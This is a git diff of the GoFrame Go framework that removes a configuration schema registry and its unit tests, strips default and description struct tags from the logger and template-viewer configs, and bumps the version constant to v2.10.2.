|
||||
|
||||
// NewConfig creates and returns a ServerConfig object with default configurations.
|
||||
|
||||
@ -1,287 +0,0 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
// Package gcfg provides configuration management functionality for GoFrame.
|
||||
// This file implements configuration schema registry for visual editing support.
|
||||
package gcfg
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// FieldSchema describes metadata for a single configuration field,
|
||||
// extracted from struct tags (json, d, v, dc) via reflection.
|
||||
type FieldSchema struct {
|
||||
Name string `json:"name"` // Go struct field name
|
||||
JsonKey string `json:"jsonKey"` // JSON/YAML key from json tag
|
||||
Type string `json:"type"` // Field type: string, int, bool, duration, etc.
|
||||
Default string `json:"default"` // Default value from `d` tag
|
||||
Rule string `json:"rule"` // Validation rule from `v` tag
|
||||
Description string `json:"description"` // English description from `dc` tag
|
||||
I18nKey string `json:"i18nKey"` // I18n key extracted from `dc` tag (i18n:xxx)
|
||||
Group string `json:"group"` // Logical group (Basic, Logging, Cookie, etc.)
|
||||
Options []string `json:"options,omitempty"` // Enum options if applicable
|
||||
}
|
||||
|
||||
// ModuleSchema describes the configuration schema for one module.
|
||||
type ModuleSchema struct {
|
||||
Name string `json:"name"` // Module name: server, database, redis, logger, viewer
|
||||
ConfigNode string `json:"configNode"` // Config file node name
|
||||
Fields []*FieldSchema `json:"fields"` // All field schemas
|
||||
Groups []string `json:"groups"` // Ordered unique group names
|
||||
}
|
||||
|
||||
// SchemaRegistry is the global registry for all module configuration schemas.
|
||||
// It is thread-safe and supports concurrent registration and retrieval.
|
||||
type SchemaRegistry struct {
|
||||
mu sync.RWMutex
|
||||
schemas map[string]*ModuleSchema
|
||||
order []string // maintains registration order
|
||||
}
|
||||
|
||||
// globalSchemaRegistry is the package-level global schema registry instance.
|
||||
var globalSchemaRegistry = NewSchemaRegistry()
|
||||
|
||||
// NewSchemaRegistry creates and returns a new SchemaRegistry instance.
|
||||
func NewSchemaRegistry() *SchemaRegistry {
|
||||
return &SchemaRegistry{
|
||||
schemas: make(map[string]*ModuleSchema),
|
||||
}
|
||||
}
|
||||
|
||||
// RegisterSchema registers a module's configuration struct type to the global registry.
|
||||
func RegisterSchema(name, configNode string, configStruct any, groupMap map[string]string) {
|
||||
globalSchemaRegistry.Register(name, configNode, configStruct, groupMap)
|
||||
}
|
||||
|
||||
// GetSchema returns the ModuleSchema for a given module name from the global registry.
|
||||
func GetSchema(name string) (*ModuleSchema, bool) {
|
||||
return globalSchemaRegistry.Get(name)
|
||||
}
|
||||
|
||||
// GetAllSchemas returns all registered module schemas from the global registry.
|
||||
func GetAllSchemas() []*ModuleSchema {
|
||||
return globalSchemaRegistry.GetAll()
|
||||
}
|
||||
|
||||
// GetGlobalRegistry returns the package-level global schema registry.
|
||||
func GetGlobalRegistry() *SchemaRegistry {
|
||||
return globalSchemaRegistry
|
||||
}
|
||||
|
||||
// Register registers a module's configuration schema to this registry.
|
||||
func (r *SchemaRegistry) Register(name, configNode string, configStruct any, groupMap map[string]string) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
fields := scanStructTags(configStruct, groupMap)
|
||||
groups := extractGroups(fields)
|
||||
|
||||
schema := &ModuleSchema{
|
||||
Name: name,
|
||||
ConfigNode: configNode,
|
||||
Fields: fields,
|
||||
Groups: groups,
|
||||
}
|
||||
|
||||
if _, exists := r.schemas[name]; !exists {
|
||||
r.order = append(r.order, name)
|
||||
}
|
||||
r.schemas[name] = schema
|
||||
}
|
||||
|
||||
// Get returns the ModuleSchema for a given module name.
|
||||
func (r *SchemaRegistry) Get(name string) (*ModuleSchema, bool) {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
schema, ok := r.schemas[name]
|
||||
return schema, ok
|
||||
}
|
||||
|
||||
// GetAll returns all registered module schemas in registration order.
|
||||
func (r *SchemaRegistry) GetAll() []*ModuleSchema {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
result := make([]*ModuleSchema, 0, len(r.order))
|
||||
for _, name := range r.order {
|
||||
if schema, ok := r.schemas[name]; ok {
|
||||
result = append(result, schema)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// scanStructTags scans a struct type via reflection and extracts FieldSchema
|
||||
// from struct tags (json, d, v, dc).
|
||||
func scanStructTags(configType any, groupMap map[string]string) []*FieldSchema {
|
||||
t := reflect.TypeOf(configType)
|
||||
if t.Kind() == reflect.Ptr {
|
||||
t = t.Elem()
|
||||
}
|
||||
if t.Kind() != reflect.Struct {
|
||||
return nil
|
||||
}
|
||||
return scanStructFields(t, groupMap, "")
|
||||
}
|
||||
|
||||
// scanStructFields recursively scans struct fields and returns FieldSchema list.
|
||||
func scanStructFields(t reflect.Type, groupMap map[string]string, prefix string) []*FieldSchema {
|
||||
var fields []*FieldSchema
|
||||
for i := 0; i < t.NumField(); i++ {
|
||||
field := t.Field(i)
|
||||
|
||||
// Skip unexported fields.
|
||||
if !field.IsExported() {
|
||||
continue
|
||||
}
|
||||
|
||||
// Handle embedded structs: recurse into them.
|
||||
if field.Anonymous {
|
||||
ft := field.Type
|
||||
if ft.Kind() == reflect.Ptr {
|
||||
ft = ft.Elem()
|
||||
}
|
||||
if ft.Kind() == reflect.Struct {
|
||||
fields = append(fields, scanStructFields(ft, groupMap, prefix)...)
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// Skip fields whose type is interface, func, chan, or complex struct.
|
||||
ft := field.Type
|
||||
if ft.Kind() == reflect.Ptr {
|
||||
ft = ft.Elem()
|
||||
}
|
||||
switch ft.Kind() {
|
||||
case reflect.Interface, reflect.Func, reflect.Chan:
|
||||
continue
|
||||
case reflect.Struct:
|
||||
// Allow structs from the "time" package (e.g. time.Time);
|
||||
// note that time.Duration is int64 and is handled in the Int64 case above.
|
||||
if ft.PkgPath() != "" && ft.PkgPath() != "time" {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
fs := parseFieldSchema(field, groupMap, prefix)
|
||||
if fs != nil {
|
||||
fields = append(fields, fs)
|
||||
}
|
||||
}
|
||||
return fields
|
||||
}
|
||||
|
||||
// parseFieldSchema parses a single struct field into a FieldSchema.
|
||||
func parseFieldSchema(field reflect.StructField, groupMap map[string]string, prefix string) *FieldSchema {
|
||||
// Get json key.
|
||||
jsonKey := ""
|
||||
if jsonTag := field.Tag.Get("json"); jsonTag != "" {
|
||||
parts := strings.Split(jsonTag, ",")
|
||||
if parts[0] != "-" {
|
||||
jsonKey = parts[0]
|
||||
} else {
|
||||
// Skip fields with json:"-"
|
||||
return nil
|
||||
}
|
||||
}
|
||||
if jsonKey == "" {
|
||||
jsonKey = lowerFirst(field.Name)
|
||||
}
|
||||
|
||||
if prefix != "" {
|
||||
jsonKey = prefix + "." + jsonKey
|
||||
}
|
||||
|
||||
typeName := fieldTypeName(field.Type)
|
||||
defaultVal := field.Tag.Get("d")
|
||||
rule := field.Tag.Get("v")
|
||||
description, i18nKey := parseDcTag(field.Tag.Get("dc"))
|
||||
|
||||
group := "Other"
|
||||
if groupMap != nil {
|
||||
if g, ok := groupMap[field.Name]; ok {
|
||||
group = g
|
||||
}
|
||||
}
|
||||
|
||||
return &FieldSchema{
|
||||
Name: field.Name,
|
||||
JsonKey: jsonKey,
|
||||
Type: typeName,
|
||||
Default: defaultVal,
|
||||
Rule: rule,
|
||||
Description: description,
|
||||
I18nKey: i18nKey,
|
||||
Group: group,
|
||||
}
|
||||
}
|
||||
|
||||
// parseDcTag parses the `dc` tag value into description and i18n key.
|
||||
func parseDcTag(dc string) (description, i18nKey string) {
|
||||
if dc == "" {
|
||||
return "", ""
|
||||
}
|
||||
parts := strings.SplitN(dc, "|", 2)
|
||||
description = strings.TrimSpace(parts[0])
|
||||
if len(parts) > 1 {
|
||||
suffix := strings.TrimSpace(parts[1])
|
||||
if strings.HasPrefix(suffix, "i18n:") {
|
||||
i18nKey = strings.TrimPrefix(suffix, "i18n:")
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// fieldTypeName returns a human-readable type name for a reflect.Type.
|
||||
func fieldTypeName(t reflect.Type) string {
|
||||
if t.Kind() == reflect.Ptr {
|
||||
t = t.Elem()
|
||||
}
|
||||
switch t.Kind() {
|
||||
case reflect.String:
|
||||
return "string"
|
||||
case reflect.Bool:
|
||||
return "bool"
|
||||
case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
|
||||
if t.PkgPath() == "time" && t.Name() == "Duration" {
|
||||
return "duration"
|
||||
}
|
||||
return "int"
|
||||
case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:
|
||||
return "int"
|
||||
case reflect.Float32, reflect.Float64:
|
||||
return "float"
|
||||
case reflect.Slice:
|
||||
return "[]" + fieldTypeName(t.Elem())
|
||||
case reflect.Map:
|
||||
return "map"
|
||||
default:
|
||||
return t.String()
|
||||
}
|
||||
}
|
||||
|
||||
// lowerFirst returns the string with first character lowered.
|
||||
func lowerFirst(s string) string {
|
||||
if s == "" {
|
||||
return s
|
||||
}
|
||||
return strings.ToLower(s[:1]) + s[1:]
|
||||
}
|
||||
|
||||
// extractGroups returns ordered unique group names from field schemas.
|
||||
func extractGroups(fields []*FieldSchema) []string {
|
||||
seen := make(map[string]bool)
|
||||
var groups []string
|
||||
for _, f := range fields {
|
||||
if !seen[f.Group] {
|
||||
seen[f.Group] = true
|
||||
groups = append(groups, f.Group)
|
||||
}
|
||||
}
|
||||
return groups
|
||||
}
|
||||
@ -1,298 +0,0 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gcfg_test
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/gogf/gf/v2/os/gcfg"
|
||||
"github.com/gogf/gf/v2/test/gtest"
|
||||
)
|
||||
|
||||
// testServerConfig is a simplified version of ghttp.ServerConfig for testing.
|
||||
type testServerConfig struct {
|
||||
Name string `json:"name" d:"default" v:"required" dc:"Server name|i18n:config.server.name"`
|
||||
Address string `json:"address" d:":0" v:"required" dc:"Server listening address|i18n:config.server.address"`
|
||||
ReadTimeout time.Duration `json:"readTimeout" d:"60s" dc:"HTTP read timeout|i18n:config.server.readTimeout"`
|
||||
KeepAlive bool `json:"keepAlive" d:"true" dc:"Enable HTTP keep-alive"`
|
||||
unexported string // should be skipped
|
||||
}
|
||||
|
||||
// TestBaseConfig tests embedded struct scanning.
|
||||
type TestBaseConfig struct {
|
||||
Host string `json:"host" d:"localhost" dc:"Hostname|i18n:config.base.host"`
|
||||
Port int `json:"port" d:"3306" dc:"Port number"`
|
||||
}
|
||||
|
||||
type TestDatabaseConfig struct {
|
||||
TestBaseConfig // embedded
|
||||
User string `json:"user" d:"root" v:"required" dc:"Database user|i18n:config.database.user"`
|
||||
Password string `json:"password" v:"required" dc:"Database password|i18n:config.database.password"`
|
||||
}
|
||||
|
||||
func TestSchemaRegistry_Register(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
registry := gcfg.NewSchemaRegistry()
|
||||
|
||||
groupMap := map[string]string{
|
||||
"Name": "Basic",
|
||||
"Address": "Basic",
|
||||
"ReadTimeout": "Timeout",
|
||||
"KeepAlive": "Basic",
|
||||
}
|
||||
|
||||
registry.Register("server", "server", testServerConfig{}, groupMap)
|
||||
|
||||
schema, ok := registry.Get("server")
|
||||
t.Assert(ok, true)
|
||||
t.AssertNE(schema, nil)
|
||||
t.Assert(schema.Name, "server")
|
||||
t.Assert(schema.ConfigNode, "server")
|
||||
t.Assert(len(schema.Fields) > 0, true)
|
||||
|
||||
// Check groups are extracted correctly.
|
||||
t.Assert(len(schema.Groups), 2) // Basic, Timeout
|
||||
t.Assert(schema.Groups[0], "Basic")
|
||||
t.Assert(schema.Groups[1], "Timeout")
|
||||
})
|
||||
}
|
||||
|
||||
func TestSchemaRegistry_FieldParsing(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
registry := gcfg.NewSchemaRegistry()
|
||||
|
||||
groupMap := map[string]string{
|
||||
"Name": "Basic",
|
||||
"Address": "Basic",
|
||||
"ReadTimeout": "Timeout",
|
||||
"KeepAlive": "Basic",
|
||||
}
|
||||
|
||||
registry.Register("server", "server", testServerConfig{}, groupMap)
|
||||
|
||||
schema, _ := registry.Get("server")
|
||||
|
||||
// Find the Name field.
|
||||
var nameField *gcfg.FieldSchema
|
||||
for _, f := range schema.Fields {
|
||||
if f.Name == "Name" {
|
||||
nameField = f
|
||||
break
|
||||
}
|
||||
}
|
||||
t.AssertNE(nameField, nil)
|
||||
t.Assert(nameField.JsonKey, "name")
|
||||
t.Assert(nameField.Type, "string")
|
||||
t.Assert(nameField.Default, "default")
|
||||
t.Assert(nameField.Rule, "required")
|
||||
t.Assert(nameField.Description, "Server name")
|
||||
t.Assert(nameField.I18nKey, "config.server.name")
|
||||
t.Assert(nameField.Group, "Basic")
|
||||
|
||||
// Find the ReadTimeout field (duration type).
|
||||
var timeoutField *gcfg.FieldSchema
|
||||
for _, f := range schema.Fields {
|
||||
if f.Name == "ReadTimeout" {
|
||||
timeoutField = f
|
||||
break
|
||||
}
|
||||
}
|
||||
t.AssertNE(timeoutField, nil)
|
||||
t.Assert(timeoutField.Type, "duration")
|
||||
t.Assert(timeoutField.Default, "60s")
|
||||
t.Assert(timeoutField.Group, "Timeout")
|
||||
|
||||
// Find the KeepAlive field (bool type).
|
||||
var keepAliveField *gcfg.FieldSchema
|
||||
for _, f := range schema.Fields {
|
||||
if f.Name == "KeepAlive" {
|
||||
keepAliveField = f
|
||||
break
|
||||
}
|
||||
}
|
||||
t.AssertNE(keepAliveField, nil)
|
||||
t.Assert(keepAliveField.Type, "bool")
|
||||
t.Assert(keepAliveField.Default, "true")
|
||||
|
||||
// Unexported field should NOT be present.
|
||||
for _, f := range schema.Fields {
|
||||
t.AssertNE(f.Name, "unexported")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestSchemaRegistry_EmbeddedStruct(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
registry := gcfg.NewSchemaRegistry()
|
||||
|
||||
groupMap := map[string]string{
|
||||
"Host": "Connection",
|
||||
"Port": "Connection",
|
||||
"User": "Auth",
|
||||
"Password": "Auth",
|
||||
}
|
||||
|
||||
registry.Register("database", "database", TestDatabaseConfig{}, groupMap)
|
||||
|
||||
schema, ok := registry.Get("database")
|
||||
t.Assert(ok, true)
|
||||
|
||||
// Should have 4 fields: Host, Port from embedded + User, Password from own fields.
|
||||
t.Assert(len(schema.Fields), 4)
|
||||
|
||||
// Check Host field from embedded struct.
|
||||
var hostField *gcfg.FieldSchema
|
||||
for _, f := range schema.Fields {
|
||||
if f.Name == "Host" {
|
||||
hostField = f
|
||||
break
|
||||
}
|
||||
}
|
||||
t.AssertNE(hostField, nil)
|
||||
t.Assert(hostField.Default, "localhost")
|
||||
t.Assert(hostField.I18nKey, "config.base.host")
|
||||
t.Assert(hostField.Group, "Connection")
|
||||
})
|
||||
}
|
||||
|
||||
func TestSchemaRegistry_GetAll(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
registry := gcfg.NewSchemaRegistry()
|
||||
|
||||
registry.Register("server", "server", testServerConfig{}, nil)
|
||||
registry.Register("database", "database", TestDatabaseConfig{}, nil)
|
||||
|
||||
all := registry.GetAll()
|
||||
t.Assert(len(all), 2)
|
||||
|
||||
// Registration order is maintained.
|
||||
t.Assert(all[0].Name, "server")
|
||||
t.Assert(all[1].Name, "database")
|
||||
})
|
||||
}
|
||||
|
||||
func TestSchemaRegistry_GetNonExistent(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
registry := gcfg.NewSchemaRegistry()
|
||||
|
||||
schema, ok := registry.Get("nonexistent")
|
||||
t.Assert(ok, false)
|
||||
t.Assert(schema, nil)
|
||||
})
|
||||
}
|
||||
|
||||
func TestSchemaRegistry_GlobalRegistry(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test global functions.
|
||||
gcfg.RegisterSchema("test_module", "test", testServerConfig{}, map[string]string{
|
||||
"Name": "Basic",
|
||||
})
|
||||
|
||||
schema, ok := gcfg.GetSchema("test_module")
|
||||
t.Assert(ok, true)
|
||||
t.AssertNE(schema, nil)
|
||||
t.Assert(schema.Name, "test_module")
|
||||
|
||||
all := gcfg.GetAllSchemas()
|
||||
t.Assert(len(all) > 0, true)
|
||||
|
||||
// Global registry should be accessible.
|
||||
reg := gcfg.GetGlobalRegistry()
|
||||
t.AssertNE(reg, nil)
|
||||
})
|
||||
}
|
||||
|
||||
func TestSchemaRegistry_DcTagParsing(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
registry := gcfg.NewSchemaRegistry()
|
||||
|
||||
type testConfig struct {
|
||||
Field1 string `json:"field1" dc:"Some description|i18n:config.test.field1"`
|
||||
Field2 string `json:"field2" dc:"Just a description"`
|
||||
Field3 string `json:"field3"`
|
||||
}
|
||||
|
||||
registry.Register("test", "test", testConfig{}, nil)
|
||||
schema, _ := registry.Get("test")
|
||||
|
||||
// Field1: description + i18n.
|
||||
t.Assert(schema.Fields[0].Description, "Some description")
|
||||
t.Assert(schema.Fields[0].I18nKey, "config.test.field1")
|
||||
|
||||
// Field2: description only.
|
||||
t.Assert(schema.Fields[1].Description, "Just a description")
|
||||
t.Assert(schema.Fields[1].I18nKey, "")
|
||||
|
||||
// Field3: empty.
|
||||
t.Assert(schema.Fields[2].Description, "")
|
||||
t.Assert(schema.Fields[2].I18nKey, "")
|
||||
})
|
||||
}
|
||||
|
||||
func TestSchemaRegistry_PointerStruct(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
registry := gcfg.NewSchemaRegistry()
|
||||
|
||||
// Register with pointer to struct.
|
||||
registry.Register("server_ptr", "server", &testServerConfig{}, nil)
|
||||
|
||||
schema, ok := registry.Get("server_ptr")
|
||||
t.Assert(ok, true)
|
||||
t.Assert(len(schema.Fields) > 0, true)
|
||||
})
|
||||
}
|
||||
|
||||
func TestSchemaRegistry_MapType(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
registry := gcfg.NewSchemaRegistry()
|
||||
|
||||
type testConfig struct {
|
||||
Data map[string]any `json:"data" dc:"Map data"`
|
||||
Tags []string `json:"tags" dc:"Tag list"`
|
||||
}
|
||||
|
||||
registry.Register("maptest", "test", testConfig{}, nil)
|
||||
schema, _ := registry.Get("maptest")
|
||||
|
||||
// Map type.
|
||||
var dataField *gcfg.FieldSchema
|
||||
for _, f := range schema.Fields {
|
||||
if f.Name == "Data" {
|
||||
dataField = f
|
||||
break
|
||||
}
|
||||
}
|
||||
t.AssertNE(dataField, nil)
|
||||
t.Assert(dataField.Type, "map")
|
||||
|
||||
// Slice type.
|
||||
var tagsField *gcfg.FieldSchema
|
||||
for _, f := range schema.Fields {
|
||||
if f.Name == "Tags" {
|
||||
tagsField = f
|
||||
break
|
||||
}
|
||||
}
|
||||
t.AssertNE(tagsField, nil)
|
||||
t.Assert(tagsField.Type, "[]string")
|
||||
})
|
||||
}
|
||||
|
||||
func TestSchemaRegistry_NilGroupMap(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
registry := gcfg.NewSchemaRegistry()
|
||||
|
||||
// Register with nil groupMap — all fields should be "Other".
|
||||
registry.Register("nogroup", "test", testServerConfig{}, nil)
|
||||
schema, _ := registry.Get("nogroup")
|
||||
|
||||
for _, f := range schema.Fields {
|
||||
t.Assert(f.Group, "Other")
|
||||
}
|
||||
})
|
||||
}
|
||||
@ -23,30 +23,30 @@ import (
|
||||
|
||||
// Config is the configuration object for logger.
|
||||
type Config struct {
|
||||
Handlers []Handler `json:"-"` // Logger handlers which implement feature similar as middleware.
|
||||
Writer io.Writer `json:"-"` // Customized io.Writer.
|
||||
Flags int `json:"flags" d:"20" dc:"Extra flags for logging output|i18n:config.logger.flags"` // Extra flags for logging output features.
|
||||
TimeFormat string `json:"timeFormat" d:"2006-01-02T15:04:05.000Z07:00" dc:"Logging time format|i18n:config.logger.timeFormat"` // Logging time format
|
||||
Path string `json:"path" dc:"Logging directory path|i18n:config.logger.path"` // Logging directory path.
|
||||
File string `json:"file" d:"{Y-m-d}.log" dc:"Log file name pattern|i18n:config.logger.file"` // Format pattern for logging file.
|
||||
Level int `json:"level" d:"992" dc:"Output level (DEBU=16,INFO=32,NOTI=64,WARN=128,ERRO=256,CRIT=512,ALL=992)|i18n:config.logger.level"` // Output level.
|
||||
Prefix string `json:"prefix" dc:"Prefix for logging content|i18n:config.logger.prefix"` // Prefix string for every logging content.
|
||||
StSkip int `json:"stSkip" d:"0" dc:"Stack skip count|i18n:config.logger.stSkip"` // Skipping count for stack.
|
||||
StStatus int `json:"stStatus" d:"1" dc:"Stack status (1=enabled, 0=disabled)|i18n:config.logger.stStatus"` // Stack status(1: enabled - default; 0: disabled)
|
||||
StFilter string `json:"stFilter" dc:"Stack string filter|i18n:config.logger.stFilter"` // Stack string filter.
|
||||
CtxKeys []any `json:"ctxKeys"` // Context keys for logging, which is used for value retrieving from context.
|
||||
HeaderPrint bool `json:"header" d:"true" dc:"Print log header|i18n:config.logger.headerPrint"` // Print header or not(true in default).
|
||||
StdoutPrint bool `json:"stdout" d:"true" dc:"Output to stdout|i18n:config.logger.stdoutPrint"` // Output to stdout or not(true in default).
|
||||
LevelPrint bool `json:"levelPrint" d:"true" dc:"Print level string|i18n:config.logger.levelPrint"` // Print level format string or not(true in default).
|
||||
LevelPrefixes map[int]string `json:"levelPrefixes"` // Logging level to its prefix string mapping.
|
||||
RotateSize int64 `json:"rotateSize" d:"0" dc:"Rotate file size in bytes (0=disabled)|i18n:config.logger.rotateSize"` // Rotate the logging file if its size > 0 in bytes.
|
||||
RotateExpire time.Duration `json:"rotateExpire" d:"0" dc:"Rotate file expire duration|i18n:config.logger.rotateExpire"` // Rotate the logging file if its mtime exceeds this duration.
|
||||
RotateBackupLimit int `json:"rotateBackupLimit" d:"0" dc:"Max rotated backup files|i18n:config.logger.rotateBackupLimit"` // Max backup for rotated files, default is 0, means no backups.
|
||||
RotateBackupExpire time.Duration `json:"rotateBackupExpire" d:"0" dc:"Rotated backup file expire|i18n:config.logger.rotateBackupExpire"` // Max expires for rotated files, which is 0 in default, means no expiration.
|
||||
RotateBackupCompress int `json:"rotateBackupCompress" d:"0" dc:"Gzip compress level for backup|i18n:config.logger.rotateBackupCompress"` // Compress level for rotated files using gzip algorithm. It's 0 in default, means no compression.
|
||||
RotateCheckInterval time.Duration `json:"rotateCheckInterval" d:"1h" dc:"Async rotate check interval|i18n:config.logger.rotateCheckInterval"` // Asynchronously checks the backups and expiration at intervals. It's 1 hour in default.
|
||||
StdoutColorDisabled bool `json:"stdoutColorDisabled" d:"false" dc:"Disable stdout color|i18n:config.logger.stdoutColorDisabled"` // Logging level prefix with color to writer or not (false in default).
|
||||
WriterColorEnable bool `json:"writerColorEnable" d:"false" dc:"Enable writer color|i18n:config.logger.writerColorEnable"` // Logging level prefix with color to writer or not (false in default).
|
||||
Handlers []Handler `json:"-"` // Logger handlers which implement feature similar as middleware.
|
||||
Writer io.Writer `json:"-"` // Customized io.Writer.
|
||||
Flags int `json:"flags"` // Extra flags for logging output features.
|
||||
TimeFormat string `json:"timeFormat"` // Logging time format
|
||||
Path string `json:"path"` // Logging directory path.
|
||||
File string `json:"file"` // Format pattern for logging file.
|
||||
Level int `json:"level"` // Output level.
|
||||
Prefix string `json:"prefix"` // Prefix string for every logging content.
|
||||
StSkip int `json:"stSkip"` // Skipping count for stack.
|
||||
StStatus int `json:"stStatus"` // Stack status(1: enabled - default; 0: disabled)
|
||||
StFilter string `json:"stFilter"` // Stack string filter.
|
||||
CtxKeys []any `json:"ctxKeys"` // Context keys for logging, which is used for value retrieving from context.
|
||||
HeaderPrint bool `json:"header"` // Print header or not(true in default).
|
||||
StdoutPrint bool `json:"stdout"` // Output to stdout or not(true in default).
|
||||
LevelPrint bool `json:"levelPrint"` // Print level format string or not(true in default).
|
||||
LevelPrefixes map[int]string `json:"levelPrefixes"` // Logging level to its prefix string mapping.
|
||||
RotateSize int64 `json:"rotateSize"` // Rotate the logging file if its size > 0 in bytes.
|
||||
RotateExpire time.Duration `json:"rotateExpire"` // Rotate the logging file if its mtime exceeds this duration.
|
||||
RotateBackupLimit int `json:"rotateBackupLimit"` // Max backup for rotated files, default is 0, means no backups.
|
||||
RotateBackupExpire time.Duration `json:"rotateBackupExpire"` // Max expires for rotated files, which is 0 in default, means no expiration.
|
||||
RotateBackupCompress int `json:"rotateBackupCompress"` // Compress level for rotated files using gzip algorithm. It's 0 in default, means no compression.
|
||||
RotateCheckInterval time.Duration `json:"rotateCheckInterval"` // Asynchronously checks the backups and expiration at intervals. It's 1 hour in default.
|
||||
StdoutColorDisabled bool `json:"stdoutColorDisabled"` // Logging level prefix with color to writer or not (false in default).
|
||||
WriterColorEnable bool `json:"writerColorEnable"` // Logging level prefix with color to writer or not (false in default).
|
||||
internalConfig
|
||||
}
|
||||
|
||||
|
||||
@ -23,12 +23,12 @@ import (
|
||||
|
||||
// Config is the configuration object for template engine.
|
||||
type Config struct {
|
||||
Paths []string `json:"paths" dc:"Template search paths|i18n:config.viewer.paths"` // Searching array for path, NOT concurrent-safe for performance purpose.
|
||||
Data map[string]any `json:"data" dc:"Global template variables|i18n:config.viewer.data"` // Global template variables including configuration.
|
||||
DefaultFile string `json:"defaultFile" d:"index.html" dc:"Default template file|i18n:config.viewer.defaultFile"` // Default template file for parsing.
|
||||
Delimiters []string `json:"delimiters" dc:"Template delimiters|i18n:config.viewer.delimiters"` // Custom template delimiters.
|
||||
AutoEncode bool `json:"autoEncode" d:"false" dc:"Auto HTML encode for XSS safety|i18n:config.viewer.autoEncode"` // Automatically encodes and provides safe html output, which is good for avoiding XSS.
|
||||
I18nManager *gi18n.Manager `json:"-"` // I18n manager for the view.
|
||||
Paths []string `json:"paths"` // Searching array for path, NOT concurrent-safe for performance purpose.
|
||||
Data map[string]any `json:"data"` // Global template variables including configuration.
|
||||
DefaultFile string `json:"defaultFile"` // Default template file for parsing.
|
||||
Delimiters []string `json:"delimiters"` // Custom template delimiters.
|
||||
AutoEncode bool `json:"autoEncode"` // Automatically encodes and provides safe html output, which is good for avoiding XSS.
|
||||
I18nManager *gi18n.Manager `json:"-"` // I18n manager for the view.
|
||||
}
|
||||
|
||||
const (
|
||||
|
||||
@ -2,5 +2,5 @@ package gf
|
||||
|
||||
const (
|
||||
// VERSION is the current GoFrame version.
|
||||
VERSION = "v2.10.0"
|
||||
VERSION = "v2.10.2"
|
||||
)
|
||||
|
||||
Reference in New Issue
Block a user